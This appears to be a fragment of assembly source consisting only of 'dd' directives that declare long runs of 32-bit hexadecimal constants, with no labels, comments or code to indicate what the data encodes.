dd 0BC87EDD7h, 78B798Ch, 8532FD9Fh, 808A8553h, 0DBBF9B52h
dd 0A4F94707h, 6EA12DF8h, 6A64FCD4h, 11B6072Eh, 1716A2B5h
dd 0E529F308h, 0E6CDA6C8h, 0BA57CCFFh, 83A8673Fh, 2DA02AEAh
dd 5D2FE0D9h, 0C856006Ah, 0BA29D16Bh, 193D2301h, 59528594h
dd 0C31F5348h, 0E67FD800h, 0EE0B58h, 322F14EAh, 1EC3A5ADh
dd 37BBA605h, 0C000E2DDh, 59483169h, 0D96700F6h, 95276F90h
dd 30C038AFh, 4863A34Eh, 46F900E3h, 6ACAC374h, 717EF816h
dd 89E92300h, 5ACC1B4Dh, 7F431691h, 3FA100BCh, 0E5E30197h
dd 0F8CD2805h, 90C716ECh, 65E2D150h, 26217DADh, 12081Eh
dd 0C5978182h, 641CC273h, 551C4D4Ch, 39E3DCh, 7ADA04F6h
dd 2416E4FFh, 15B6C0h, 0B059E0ACh, 25B8FA34h, 0A4290160h
dd 0D9C19Bh, 9F2B7F45h, 710B56A3h, 2DE45807h, 22371D63h
dd 73AA44C0h, 0F0B10564h, 1832C8h, 0D08ACFB8h, 0ACFEC70Dh
dd 2DDA0200h, 64E8EF70h, 14A4171Eh, 0C2F42044h, 0A06EDADh
dd 0C51B792Bh, 398D0340h, 0C4B7B1EBh, 0ABD01000h, 0A426AFA5h
dd 0E6AD7E71h, 58BA4Fh, 0B714089Bh, 0A7E7A0E0h, 21A3BA00h
dd 700BBC05h, 0A1F879h, 1196312Fh, 0D6D2CBAAh, 99EE7C00h
dd 0AB147502h, 2A220939h, 2C80D4D1h, 3CD51F7Eh, 0CA8DA203h
dd 0A86FFC86h, 38896Eh, 0EA3E9B0Eh, 368332A8h, 44ACC600h
dd 0B90DDC35h, 7B1A0063h, 46BE19C0h, 0E7006801h, 0EB6EB26Bh
dd 508370D8h, 1BBC81Ch, 1A6650F1h, 0C4D125E9h, 57008E0Fh
dd 5E237D4Fh, 346DFAAh, 737143F4h, 0E900DBD2h, 0BF16726Bh
dd 2107B8h, 8F253875h, 1BAAFE69h, 0B9DCE303h, 0DAF1410Ah
dd 319CE0A7h, 190D005Dh, 6A1082FEh, 4E00F7BDh, 4CCD2FD7h
dd 91583Ch, 2711CC2Eh, 0EC402A02h, 8DE66207h, 0E480CFE1h
dd 93AD4Bh, 79DC21E2h, 480B81F6h, 9AD7B203h, 0C5B81241h
dd 0ACFEE440h, 2E8886h, 0C59C76AAh, 3624D983h, 14952F0Ch
dd 2B7CD4h, 3E5CFABh, 8362E90Eh, 4F762A12h, 8889D441h
dd 0DC403D49h, 0B4D0AC86h, 0FB0400CCh, 0F0C8F411h, 59749100h
dd 8BA6364Fh, 1CE12858h, 0DBAD00F2h, 279B8156h, 0FA7C7B15h
dd 9D0D710Fh, 60202CC4h, 16B290C0h, 3DEAF1h, 0D85F1596h
dd 3000E062h, 358D8A87h, 7872FDh, 8B608691h, 6F0F2B3Dh
dd 0B0044305h, 8847BE2Dh, 9C6109C8h, 3D5DA49h, 0D60BECh
dd 8F171B3Bh, 0F2788D7Bh, 1019B933h, 0EC18092h, 0F70100EAh
dd 18ACD355h, 41015875h, 0DC152F38h, 0D2E8921Fh, 78340061h
dd 0E21ED66Eh, 62F00C93h, 52007076h, 96110FFEh, 1CB98A04h
dd 7DEDFAh, 2376E9E5h, 0C30AE2E7h, 9CCCC40Ah, 5EA59587h
dd 8799D0B0h, 30E11C15h, 1D598058h, 0FCC92547h, 2D4AA800h
dd 3250CF6Bh, 0A10600C0h, 0EDB28A92h, 6A00CE0Ch, 0DD617DDCh
dd 506930h, 0EC32B152h, 0DBF3BC6Dh, 913C282Eh, 58DB622Dh
dd 15FE8Ch, 6CA3129Fh, 9236BF9Eh, 33557D03h, 0F4ACD6C6h
dd 0DD28F480h, 43D40CF3h, 0E110BA39h, 44DF3600h, 0E0C5B1B2h
dd 0EC8902B4h, 5711B934h, 54ED2460h, 0B0776907h, 13F061B5h
dd 3AC893C9h, 0DC873DBDh, 0D4126392h, 5C1C9091h, 0F8009C11h
dd 4F9871C4h, 1E74A77h, 0B537B2B6h, 0F011D3B0h, 8C075406h
dd 0D8957AEDh, 0C5A3DA10h, 0FA2600A2h, 9179246Ah, 0D4705540h
dd 7C8D3200h, 0F36B9C05h, 0D53B01DFh, 25C0611Ah, 527A70FCh
dd 4ECBF601h, 12847615h, 0EE9D3D0h, 47A01351h, 636A85A0h
dd 0A40003BCh, 4D754ADCh, 0B4CC42h, 2E6DED37h, 0ECC7B20Fh
dd 97945007h, 43B051B0h, 0E526E45h, 0FE72DCBBh, 5BCC1080h
dd 7C00EC83h, 490C96BDh, 1BE45Fh, 61A732DBh, 0EED0E938h
dd 77FBB400h, 0AE1474F4h, 0E4C800C6h, 0E1FFE86h, 6F0A9206h
dd 0D68E09DCh, 85A48B00h, 0F01EAAh, 49BE43F5h, 0F160BD98h
dd 885D6100h, 0E17D54C5h, 0DCA2008Ah, 55F622EBh, 0B008C48h
dd 2B212EC9h, 0FAA71E0h, 4BBC584h, 39FCA5C2h, 207DB061h
dd 731C3BD8h, 71C1D2F9h, 0F1B03720h, 0ED234880h, 5421B7BEh
dd 6D67A607h, 313074ADh, 539AC4h, 0FF2471A7h, 1499392Ah
dd 0CAF2C500h, 0F6A0333Bh, 0B6A246Bh, 562F0090h, 406DAE3Ch
dd 8C0E9C00h, 685245C8h, 0EDE50E31h, 9680B83Fh, 0B5A74137h
dd 5000F75h, 8A3AE01Fh, 1D6CD318h, 0CFF02909h, 5420451Bh
dd 9935470Dh, 8CEBC400h, 0A5D62441h, 0F8C812E1h, 8DB86Ah
dd 0F14769C9h, 738B02BEh, 0C4AF261Ch, 395DA8E0h, 0F74E66h
dd 0D86D9FDEh, 0D535292Eh, 0DD6BCE00h, 34545694h, 0BE9700D6h
dd 1B2EBD12h, 7C00B9D3h, 632FA079h, 0B43A20h, 0B7D66D75h
dd 0BFCE8178h, 0F935170Eh, 7D65A67Ch, 1264F071h, 88AA4C42h
dd 973630B8h, 4A1120ABh, 32FC7292h, 97DC220Bh, 0EEC507Dh
dd 6E9E4095h, 0F4E3409Fh, 15243296h, 0FFC029DFh, 7884D63Ah
dd 89BC0020h, 93B826E1h, 0CA353913h, 7E804091h, 54B43142h
dd 0EB61C0Eh, 0A130840Bh, 0A78BA5h, 0C2AC2908h, 1F121647h
dd 4C8BDC6h, 0ED18080Dh, 0A6608E7Bh, 0DB7ADCh, 0DE13D648h
dd 1EB89054h, 0D596707h
dd 605ECC0Eh, 615A82E4h, 27A04h, 0FAC55C37h, 681FC38Dh
dd 21000DEEh, 0AD16EE25h, 0D42646h, 632E2BE6h, 0FA486AAAh
dd 6E18C007h, 0F8175AF9h, 9EDD3860h, 6F7C002Ah, 708FFA4Dh
dd 0FB00A6D7h, 0DBA5C576h, 7AD82h, 0ED3C185Ch, 0F40FA7E0h
dd 8316A207h, 6E07E0Ah, 39758D9Ch, 3900F96Ah, 0E602BAB6h
dd 0FB00B003h, 811611Ch, 0A069DA09h, 0BCA681h, 0E1CB1DDBh
dd 0FB8BCD47h, 0B2067900h, 285C2AA4h, 0F3E40016h, 8D4C5B84h
dd 0E8002C7Ah, 51791006h, 1460496Eh, 0E058E359h, 7FE8C880h
dd 1D741753h, 4754BF00h, 57AEA876h, 94710FE3h, 0F420D64Ah
dd 0C7130942h, 18A0B024h, 646D3B8Fh, 3AC01AA9h, 583A33CCh
dd 2165B3A8h, 93EA800Ch, 8377467Eh, 396DB601h, 69ABFC7h
dd 1FFB8880h, 0EE03CAEh, 1F4B9058h, 700B58A3h, 0D62800BFh
dd 49449904h, 0B000007Fh, 0F6F28BBCh, 9D19ECC6h, 1708C843h
dd 0D07C092Bh, 3C0E2500h, 401E8CF8h, 7B4733C3h, 0AB10FFCBh
dd 24FE8FEBh, 4144E041h, 0EF5E4604h, 0D089086h, 182AA29h
dd 0EE899A27h, 0A8003BCCh, 0C1BF3669h, 1A372E45h, 1FDF0E02h
dd 0C0E0658Bh, 0BF16300Ch, 5000A40Dh, 0AE18983Ch, 9A4007BAh
dd 10EA248Ah, 0A850FF7Ah, 60FA4980h, 1F47D978h, 9600EF30h
dd 0D9A26F4h, 118689h, 5B140EE3h, 0B4805A25h, 0F7F3A800h
dd 94F98EEEh, 0A48C0785h, 104FFE3Eh, 443849C0h, 873B6A2Ch
dd 0CCC0721Fh, 0BDFE1986h, 57FB031Ch, 18E69364h, 0ABE0A1F3h
dd 6C004043h, 1F6FF907h, 0AD01BBh, 883CF2A7h, 344641D2h
dd 0F8668C03h, 0F07A5175h, 0BBCA23h, 0BE1638DEh, 0A1626FE9h
dd 0C7B98201h, 0B7566A53h, 0F9B5ECh, 352AD04Eh, 757EC085h
dd 0D30C1E00h, 26346AFFh, 55E601BBh, 0CD6B4F0Fh, 43DAE445h
dd 5EFFF000h, 6C907D50h, 7F92309Bh, 678DE818h, 638220C0h
dd 0C428EC06h, 0C0427A31h, 3937E2DBh, 9F656E00h, 62A7C870h
dd 5F67002Bh, 55A6E010h, 317649CEh, 0B48014A7h, 0A0E46357h
dd 61806572h, 0B2043E82h, 0C79435Fh, 0C19DC310h, 4E011B18h
dd 0B8CDAF04h, 57FCDFA3h, 4A450058h, 50C37CEFh, 0E306FDEEh
dd 0AEFA511Bh, 0E7F72028h, 6BCF4A00h, 2EC2496h, 0C440167h
dd 2CE9201Fh, 8941C881h, 27BD2600h, 718D5A5Fh, 3EB800A9h
dd 0F895C438h, 2100D7DBh, 1529F333h, 809B4Eh, 60E75B88h
dd 65956AD4h, 9100737Ah, 436CBFB5h, 73C3355Ah, 0D18700D2h
dd 59F98BCBh, 0C9006149h, 60C6B686h, 757A9712h, 2CA21DEAh
dd 6F8C4067h, 0C94E8AABh, 4B88EC1Ch, 51568280h, 26686C09h
dd 1342693h, 0C144E8C3h, 0A93DF8ACh, 0A807BF01h, 0F51E9FC7h
dd 1C6B4D0h, 0AFAD1B9Eh, 209D24B3h, 0DD0064EDh, 3D5CA819h
dd 0F88D76h, 0E8716597h, 9DDE44CEh, 3E79FE03h, 0A8055D22h
dd 0C61A80h, 21EC3B75h, 0FDAC26B9h, 0B5001E76h, 0B102EA7Bh
dd 8D9EDAh, 0F0DBA890h, 3FF1755Bh, 697BCB00h, 0C6DA99EFh
dd 7D0D00D1h, 0F602334Eh, 5FEAC76Eh, 1F00FCF4h, 435D74B6h
dd 46F03h, 0FACCE7CDh, 35568C84h, 7C32F00h, 47401D58h
dd 97180EEEh, 0C0DD983Ah, 539E6633h, 0EB00CBC5h, 96308E72h
dd 0F59DBE7h, 2164FE42h, 4C3F39A0h, 200F0826h, 0D291870Ah
dd 8D5B2C06h, 711B1F30h, 0A1A8402Eh, 7093CB2Fh, 0EC1EDCE0h
dd 820311DFh, 0C0AAD5B7h, 0EBF5A7h, 0A0982558h, 0F0CCC660h
dd 0E14902E2h, 85A43CB8h, 0E4B10782h, 0B6FCD400h, 2C9A8A98h
dd 83ED93h, 0A13D5752h, 70C0119Eh, 0F3F2BBF4h, 5919C042h
dd 1CFE7BE7h, 98C9AD00h, 58476034h, 491E00BFh, 0D5A444D6h
dd 9F005581h, 0C8DB5494h, 71CC4Dh, 3504F8D0h, 0E1EDB62Bh
dd 6A001A7Ch, 586C2F4Eh, 607F12F5h, 2429106Fh, 7E00A5D9h
dd 70B0D5DDh, 514CB5CBh, 8FD48CFAh, 65281295h, 61544046h
dd 0A4AB2723h, 0D05B5200h, 0B443EBEFh, 0B130CB3h, 51B83F71h
dd 40310109h, 8DD88064h, 3174444Bh, 242067A2h, 6F19D8B3h
dd 0EE11320Eh, 0D4CFA0C9h, 0FAD5EAC2h, 77E4A093h, 36E40013h
dd 84D77B90h, 7D1E112Fh, 41AE31C2h, 7F996900h, 0B3A0FBh
dd 26613B0h, 7B2D88A3h, 0E6683A03h, 9869F13Fh, 4C04CFAAh
dd 57001CEEh, 0CA4D479Fh, 0B3B044C6h, 256DD480h, 94D448h
dd 0BD82F64Eh, 37B2AF2h, 0F3D3AC36h, 21392FE2h, 0FE69808Ch
dd 5BF586B9h, 776F16DAh, 5BE0015h, 1E251682h, 1DA2F58h
dd 494BCBCDh, 34248A40h, 0FA018EE6h, 0D6E8C426h, 44491CD4h
dd 665DE8h, 0A02F3EBCh, 0B37203DFh, 259518C0h, 218C302h
dd 33F37DACh, 848FBA1h, 0E209A39Ah, 76F0E57h, 0D1A0655Ch
dd 4E95DEh, 217AAFEh, 5CEE1F1Ah, 276D0500h, 61C5B25h, 47FA007Eh
dd 42777415h, 6724F465h, 897860CBh, 71DE30C6h, 5FE16690h
dd 60562A18h, 771DB0h, 5029B03Ah, 5C252D71h, 5D009877h
dd 4E137238h, 508EECBDh, 2070CC68h, 7A1CF020h, 0BA03C2D1h
dd 75BD54B2h, 0EFB809C1h, 8C30BCF9h, 3801A99Eh, 34021F67h
dd 62311E16h, 0E6505057h, 74F2B26Ah, 0A6630799h, 8475B92Eh
dd 0E9D480BCh, 5200ADEEh, 0E35F1AAFh, 9EFD1h, 7FA9F351h
dd 0BC89B528h, 0F700E679h, 0F8DCBDBEh, 187157A4h, 805D69EBh
dd 0AF0B6B7Bh, 8DB40A7h, 900C850h, 0D95EB61h, 7FFA133Bh
dd 3D49001Bh, 0BCFB2BC9h, 25350709h, 0E36F00CBh, 5E7632h
dd 0CC1DEFA7h, 50D2D4B6h, 60C280F8h, 85A897D0h, 0D8004FFCh
dd 0F7AE6F51h, 8BC4A0E2h, 30BF72EBh, 0F0D096E0h, 3F6B5BAh
dd 88153200h, 388FEF75h, 2B700009h, 2819CF98h, 8D60AD81h
dd 0F235F6B1h, 8B3A060Dh, 0D95BE6C4h, 8D086907h, 109CED37h
dd 9FC30061h, 0C5C95F74h, 470094F2h, 1E921742h, 7C71DB5h
dd 0CD563958h, 54B61325h, 2E6E63B8h, 61AA3600h, 0E90F7C1h
dd 3DD9735Ah, 82028E4Dh, 0A0921D7Ah, 0E8A06C47h, 84E3E500h
dd 4459C0E6h, 7D5803D6h, 56283329h, 62639800h, 7CB56B75h
dd 467B013Bh, 0B759FEC6h, 0A7E095D9h, 66E70ABCh, 0AE00F644h
dd 0F3C70710h, 4470051h, 49227BF0h, 6E2673F4h, 3E5800CAh
dd 1DEE00E0h, 0FA112ABEh, 10010D20h, 4B41FCECh, 48E489CBh
dd 6090491Bh, 87017F21h, 0B8477CCCh, 2CA04EE6h, 0B05D1Bh
dd 200C0DD0h, 233BCD6Ah, 12948287h, 61A44E32h, 889C790h
dd 0A0002BCCh, 5E4709A2h, 7A709548h, 1CF88F3Bh, 8CA482A8h
dd 73D1CA58h, 2CF10355h, 6FDC0235h, 6BC3E4D0h, 3EB93D00h
dd 0D2F50314h, 8FE4CB0h, 0BEFDC700h, 9080DE29h, 60E68C00h
dd 1BED6550h, 0F0313A36h, 12C2CF81h, 0E458A5C7h, 0CE03C855h
dd 34A0F2B6h, 3F9FA041h, 841A3391h, 0D1EBEA88h, 72B529C8h
dd 4501B27Bh, 7AC240C1h, 98C4533Ch, 9EDB00B9h, 33716170h
dd 0CF3F01EBh, 0C9CA001Bh, 0BE394110h, 0A72C4CF3h, 2B400074h
dd 34E29B96h, 920F354Fh, 0E0FF8F26h, 487DD1BBh, 12C80018h
dd 0A7B66CD6h, 85000C2Eh, 0A9571698h, 2DF22DDh, 0B05FD2D0h
dd 2C5039E3h, 0B0180D24h, 0D5C27084h, 51E0080h, 3F27002Bh
dd 0A418C9BEh, 7C00C088h, 5C7D449Eh, 62A9BFh, 9A9813A7h
dd 6BE91DA6h, 0FE2AE600h, 0B450487Fh, 0E09E07C7h, 40071333h
dd 0EA6C8937h, 17C9A118h, 963E71h, 0F89D7DDDh, 14CC7205h
dd 852BA900h, 364D1ECh, 2D4B0057h, 28989B81h, 211E140Bh
dd 0F700846Ch, 0FD3078F1h, 663B005Ah, 0C29C04EDh, 0A00087F4h
dd 849211FFh
dd 0ABFEE2h, 0E4990A72h, 10F79DFDh, 55607E67h, 721D508Eh
dd 0BBDE0045h, 1B75213h, 1216BC94h, 0F422FC00h, 90E74D90h
dd 1C85E260h, 960913h, 8E55192h, 704E066h, 0CF782A38h
dd 6A4A5080h, 0D0760A2Dh, 89B47E5Dh, 38AE3686h, 0D4A0F689h
dd 63AB25B9h, 8BA70A01h, 294871E6h, 8AB03082h, 30C8E5D1h
dd 9201E18Dh, 21318E34h, 19803C49h, 170FDF05h, 0AF5CA1F7h
dd 0AD230E10h, 0F9E081D6h, 0DC20BD1Eh, 0C2090780h, 0E0D119E4h
dd 925D6F1Dh, 2C68740Eh, 0DA528198h, 8B40E059h, 0F68ED7F9h
dd 0D6709FFh, 2CA378F8h, 0C91E3156h, 26803602h, 8717BCF4h
dd 0F08CA3E6h, 92C60E2Ch, 0E3F33820h, 14692482h, 2460B1E9h
dd 0D9E52977h, 60464FEh, 4A02C87Bh, 0DA4C3276h, 0CA6C6924h
dd 2F2EC9FBh, 21B8719Eh, 7259F218h, 55BF3070h, 87F8F030h
dd 4EF42A1Eh, 0B98E2C0h, 4AC467F1h, 645C01CBh, 0A41697E7h
dd 0DB8270DAh, 0E1F61A9Ch, 98299618h, 8500A894h, 21040EA8h
dd 0D6096B79h, 0B8BD80DCh, 8CDB3CB4h, 1D037098h, 0C418D5A2h
dd 1EE3F9ADh, 2BB87C0h, 129D13FEh, 5B4052A3h, 2C038480h
dd 0DC017F6Dh, 0D197A0C2h, 1A8B90Eh, 0A37853C7h, 19A43080h
dd 30710B9h, 0EAA2D189h, 49A868EBh, 35E5843h, 7E4462Eh
dd 45483B0h, 74B98028h, 0F1F6D195h, 0E5DB9602h, 0B0DE47C2h
dd 1763CDCh, 0D168059Ah, 82292336h, 326C2019h, 7F32E0C8h
dd 7180F7EBh, 74CA4948h, 0E548611Eh, 0B86919h, 0F06305B0h
dd 3C991DCFh, 57370039h, 0D1BE58F2h, 313ED09h, 0B2EC8201h
dd 24E452DBh, 8908AE36h, 0D8A04F73h, 746E104Ch, 0CC130F03h
dd 0D05853EEh, 0C0F2E02Ah, 0AAE2A440h, 0FB003E89h, 531AAE77h
dd 2CCBF784h, 0FA6AABh, 12EB0B82h, 0D900D8A0h, 0D1552565h
dd 93DFFh, 8FC8CAD7h, 8B1558DFh, 27E4DE00h, 0EF100C5Eh
dd 0CC2100E8h, 8EE98211h, 7476EA84h, 0F5E3F8C0h, 41B9E28h
dd 59A01EB5h, 16C8C06Dh, 0B100D067h, 0B4E49AC4h, 48E80257h
dd 0F48B84C7h, 0FCAD58A0h, 337E2DC0h, 2E699100h, 8F24F19Eh
dd 0B8E80079h, 7EED83Eh, 9F3BF6E2h, 78A500FFh, 1926E9F8h
dd 83EC0099h, 1D4C6527h, 83A012C1h, 0CCE65571h, 0BA8BDD00h
dd 0D8607C08h, 285A0041h, 0A9DCAA66h, 0A00E1475h, 0A0E67293h
dd 15DB0552h, 707CC3h, 805769DEh, 55F553DAh, 608BBA00h
dd 0A5FC2BF1h, 0C0D3A34Fh, 4925Fh, 4E783C42h, 0FFAEEB85h
dd 100807Fh, 1B5EA3ECh, 0D11D88h, 0AF3CA9FCh, 79E05751h
dd 2C20B200h, 7BB9A6CAh, 28AB073Eh, 708EFBACh, 6CD2721Dh
dd 150BA700h, 2E219298h, 168D0537h, 90F21B05h, 486BAB00h
dd 8A65C300h, 0C6E7801Ah, 9CE900A3h, 86D1D225h, 0EF078485h
dd 0BF193474h, 0D0596530h, 0FF271DF7h, 0FE8DDBDh, 8AA37855h
dd 7DF33FC1h, 0A5F55E98h, 51A6B03h, 0AA424483h, 0C9C1C0D5h
dd 186A603Dh, 1F51D193h, 2D010779h, 19BEAAD4h, 0CAF8453Ch
dd 8EFA0EA7h, 38207EB3h, 0B7A9042Bh, 10D3FD03h, 88D5CF73h
dd 3AB8F60Ch, 9480626Eh, 5304D72Eh, 0A5007793h, 70FF18B1h
dd 39BAEDCFh, 0CD039A6Eh, 0D2CE9834h, 24B8A100h, 20B18E02h
dd 0B740057h, 1F64D63Eh, 0DF002E23h, 0B39AB2CAh, 7FE670F5h
dd 306B07B4h, 56F478h, 0FF4D3B58h, 6F398E7Bh, 0BA007F14h
dd 0ED3FCAFEh, 7DFDAEh, 52E53CF9h, 8BF3B3BEh, 40400626h
dd 0C0CA0Bh, 6310948Ch, 0E84E38BBh, 0B3BF058Fh, 843D0C00h
dd 2C00BC28h, 0A34D5011h, 0F4FF1A68h, 2BE61Ch, 0C7CCDF9h
dd 0B2B9A064h, 13BD7B58h, 7600F3DCh, 95F4DBB1h, 3CC9AD7h
dd 0ED56B6C2h, 0EFF0218Ch, 311C939Ah, 8901A6C7h, 0D791482Bh
dd 1880FF21h, 576E9597h, 3E1337A8h, 17009CAEh, 6B3998AAh
dd 814C0016h, 8251FD34h, 86077A08h, 6295DAF3h, 66150AF0h
dd 0D0FBF32Dh, 0D3E317h, 0BD5C2F20h, 0A94E816Ah, 2C2B8B3Ch
dd 4D002CBBh, 977386C8h, 23C401F7h, 30DDA5E1h, 1CDB2055h
dd 510C1101h, 4F81F37Dh, 0A0F73820h, 2CC778D7h, 3ACDCDAh
dd 16ABBE07h, 0ED7C02B0h, 0D8CC2B00h, 4FE8B81Eh, 50B82Ch
dd 82533409h, 6C26AFA8h, 8D0160F5h, 4D2E8400h, 1293BA8Ch
dd 135619C0h, 0ECC620D3h, 3200C8ECh, 795F1AFBh, 1D9F9C7Eh
dd 3F5B0DAEh, 13D184A6h, 0BB190057h, 0F59E6B77h, 0B61C9A0Bh
dd 0D58EB0h, 43D9B1C4h, 36031DE5h, 561F00A9h, 410CC5F1h
dd 5C10D260h, 1E347h, 0D1DDB38h, 0BA733ACCh, 0E356A926h
dd 8B7C3200h, 131CA4h, 9345C3E6h, 22E0A01Bh, 0AB3D360Fh
dd 0FAB58447h, 0D379D080h, 9D3F0082h, 0CD2F1C89h, 973E6972h
dd 183800Ch, 962DD975h, 0FBA43CCCh, 0ACBB4A05h, 6993C01Eh
dd 0C5009B49h, 847F6705h, 21E9A5h, 0B9C1F25Ch, 0C973FBDFh
dd 5AE37101h, 0A34ADD19h, 3342060h, 9CE4B51h, 0EAF85E78h
dd 0F0006E38h, 26CA1A83h, 9B51CFh, 248E5BA6h, 760B8C68h
dd 504D441Dh, 0ED331E40h, 0B0B3A4F2h, 1C6401FDh, 5B77852Ch
dd 1EF88088h, 0ADCEFCAAh, 7940468h, 0C01031F1h, 0E727B2F1h
dd 0F49BD605h, 68C0DC54h, 505B7Ch, 4B770A3Eh, 8922385Ah
dd 0A67E023Ch, 0E1002FC1h, 0EC84EE76h, 0F20C1E42h, 6CA20040h
dd 0CE6080B5h, 8097703Ch, 0D12F2B31h, 0E18315h, 906DB20Ch
dd 73799A82h, 5A5EEA03h, 0B85992FFh, 2AB0D8h, 57C03A0Fh
dd 9BCFD531h, 1B2D201h, 5B59D432h, 804662F2h, 0F71F4D8Ch
dd 0D6460928h, 5002D0Eh, 0F0EB9811h, 7C356D00h, 0F7814972h
dd 0D0BB014Bh, 5AA58F86h, 8037E0B4h, 9160251Eh, 341AAF80h
dd 2B9485h, 0E77264A5h, 0FF99E9ACh, 0C55B2000h, 8F2E3981h
dd 552E6FDh, 5AB3AF48h, 4354A09Dh, 0FE94DB01h, 9EA7BC12h
dd 18AD46h, 0ED850408h, 0AB447E5Dh, 844D1209h, 87DC40DEh
dd 4C29C006h, 80361C5Ch, 421DB174h, 3ABE11EAh, 0A5007C12h
dd 878118FFh, 72BA09h, 555D6928h, 0E1E65BA4h, 803A573Ch
dd 830B46A9h, 85C25h, 65447B9Ch, 5B0E31E4h, 7501D572h
dd 434E0B61h, 7887BEE1h, 0F11C7912h, 817C7D05h, 325DF0C8h
dd 91F05908h, 24C80F93h, 3900C735h, 287B60A0h, 1F721600h
dd 0DEB23379h, 8641001Ch, 0AEF17E99h, 0F0065D7Ch, 0DDC46DEDh
dd 0C6900E9h, 6685FB59h, 3BE86137h, 0B10E087Bh, 803A124Fh
dd 79FA4E27h, 0A8561EC8h, 7CECC002h, 6FD60EE9h, 0FF84E600h
dd 3BCDAF0Ch, 0A13C1580h, 1000BC23h, 0B959E4Ah, 719FF6Ch
dd 290841A4h, 0BB21ACh, 0C28FD29Eh, 0BB5F1EA6h, 232BB040h
dd 1EF83521h, 40F60B44h, 3146143Bh, 0B93FA573h, 9480807Ch
dd 5A928A7Fh, 3DE70101h, 446C9055h, 18FF08D6h, 18788C2Eh
dd 9900DC0Ch, 745A9309h, 2AF04495h, 8470DAh, 0E7228FB3h
dd 0A0B79607h, 82D3B028h, 0C1E87C00h, 9D8B6C92h, 699B1403h
dd 8281C8F2h, 805A4DB5h, 0D31D11B9h, 57CC093h, 4FC47EE5h
dd 0AA8C446Bh, 9E48309Bh, 3C0B238Bh, 0B0012A11h, 0E4A09E50h
dd 9479D865h, 7AD4E800h, 87BEC5BAh, 98FEB8BDh, 0EBD8C06Eh
dd 1EE58038h, 6A979B00h, 50C0D6CDh, 819900F7h, 0FE35F30Bh
dd 0EFE00E3Eh, 5DC7801Ch, 0C0A3F14Eh, 2206B154h, 923812C4h
dd 7E910909h, 76858580h, 8100A4A1h, 5D16257Fh, 0F4375Bh
dd 0CB9C7C61h, 0CFA2C89Bh, 0B140680Fh, 91D6FD05h, 7EDBFB03h
dd 21DC03A5h, 0DDE50138h, 0E8A273D0h, 0D6A76400h, 7C9DECD8h
dd 2F563863h, 1DFF1CF6h
dd 1B6DC79Fh, 8491A0C6h, 130028FEh, 90A9FD99h, 0D435B7h
dd 0BE53A554h, 0C1AAB988h, 9F006178h, 8BD6817Fh, 0EEACFB5Ch
dd 545A1C10h, 2BFC4E85h, 0BBC0109Ah, 0A63A97B9h, 1EDF8CEAh
dd 60C308D2h, 11712086h, 290194B9h, 389FE1CBh, 0F4E87014h
dd 60FAFC75h, 93929A1h, 0CD00BD64h, 0ECD7456Ch, 0C8580FCBh
dd 0DEC0A070h, 46A5ACB9h, 0FEBF22D2h, 2EB90016h, 725F5D4h
dd 18C00822h, 0E758A69Eh, 2A28C09Dh, 6149261Eh, 6EAC5C01h
dd 0CF20228Eh, 7BF1D171h, 0B5863080h, 950D8374h, 4418457Ch
dd 10180E58h, 0CE7292h, 0C0828476h, 3F622C93h, 78F7F21Ch
dd 374BF40h, 1D4EDCDh, 776E8E83h, 21D997F5h, 807FDDA9h
dd 0ECA1B061h, 784FB17h, 0AD93124Dh, 5B14434Ch, 31352000h
dd 0AA4BE3ECh, 0E8B0017Ah, 56FB63F5h, 0D0C98FE1h, 0B4B409Bh
dd 3ED90D5h, 0FC082D19h, 200AA979h, 8014117Ah, 2BBA80BAh
dd 0A018A165h, 49A70072h, 5F9FFF34h, 12057992h, 8FF47881h
dd 0A84429FCh, 61150E19h, 79CE6D22h, 0A94C75C7h, 7280EAE3h
dd 4500BDF4h, 62C60EA5h, 12D9A97h, 2B761920h, 0FC776326h
dd 0B0A29F6h, 0A0330786h, 0C5755A80h, 0FEAAF16Ch, 9CED00E1h
dd 11C121CEh, 9771364Ch, 940EFE2Ah, 0F461E1F6h, 84610808h
dd 0E049D182h, 0C48275Bh, 18A0FFB9h, 0B0181174h, 27101351h
dd 0DC19C0E1h, 96C83631h, 0BF9D5800h, 0A87670B1h, 3F010392h
dd 6F9CAA2Ah, 3115C683h, 0B4DB5Bh, 18EB82CCh, 51D1FEh
dd 0FAF074EDh, 80B28E36h, 9F59CD03h, 0E45886h, 5E027B31h
dd 0FEAEF7B7h, 0FC9C8200h, 0B0B273A4h, 0BE46061Fh, 690C2741h
dd 0BB561201h, 0D4A6AB2Fh, 5E765480h, 47C62614h, 10017E7Dh
dd 1993DE09h, 0F080D323h, 768EFB90h, 0C560E486h, 2F92CD48h
dd 907B5411h, 53D00F4h, 0CCDD4813h, 1206F917h, 0E36D2EEDh
dd 29080479h, 0EAD903BEh, 0A7D32DC0h, 1AE801F2h, 0FF87369Dh
dd 11D85556h, 278DCD8h, 15129319h, 6AE15CA9h, 1FB042B8h
dd 45679D80h, 0D900C23Eh, 3656FD78h, 0EEE161ABh, 1320357h
dd 0C76D305Ah, 0EC808100h, 7783EE55h, 9FC12h, 0F1FD59BBh
dd 0C2422F95h, 6EABBD01h, 4C38117Eh, 0F509E850h, 0ED99C052h
dd 59260380h, 18FBB912h, 8FDD9C42h, 0FE0C4874h, 61F102FFh
dd 0A15D930h, 0FA70F940h, 41D14567h, 963D6931h, 1DF670h
dd 9328A384h, 0E1870765h, 909F8902h, 80B6E42Bh, 1379A887h
dd 0AC95007Dh, 0E104DA7Eh, 9300BA23h, 269A067Fh, 0A3B256Bh
dd 349B15DBh, 0D45F04h, 1D4021C8h, 4ADA3846h, 0E26C0A18h
dd 3EE49E20h, 31E073A5h, 1156B1D4h, 0E1A86606h, 3009BC8Fh
dd 7420DA8Bh, 0FB01552Ah, 4A75B55Dh, 16CC0958h, 6041C13Eh
dd 8098C8D1h, 74B31378h, 0E8AE80h, 0AA383B7Fh, 2F1EEBFCh
dd 0D66D490Fh, 6E59B98Dh, 73A2DE0h, 3D7D54E1h, 2BEBF040h
dd 4160428Fh, 0DF893051h, 977530C6h, 1F6850D9h, 66964203h
dd 0E8127D07h, 4AD627Ch, 606B29D3h, 476F0732h, 0C00D45C1h
dd 4AB88910h, 0B9C33DFAh, 0A414F149h, 4369031Fh, 7978C9ECh
dd 0CE700C50h, 998EBC05h, 0B040B523h, 3C587041h, 2C4D001Fh
dd 0F6D90AE1h, 791CFE40h, 0FF4FE5E6h, 9E2BC12Dh, 49803A32h
dd 37F19614h, 0C700A407h, 9E2FED47h, 186785FBh, 88BE344h
dd 8A08609h, 0E07CDDC0h, 74B8B257h, 7A217007h, 3AE03B6Ah
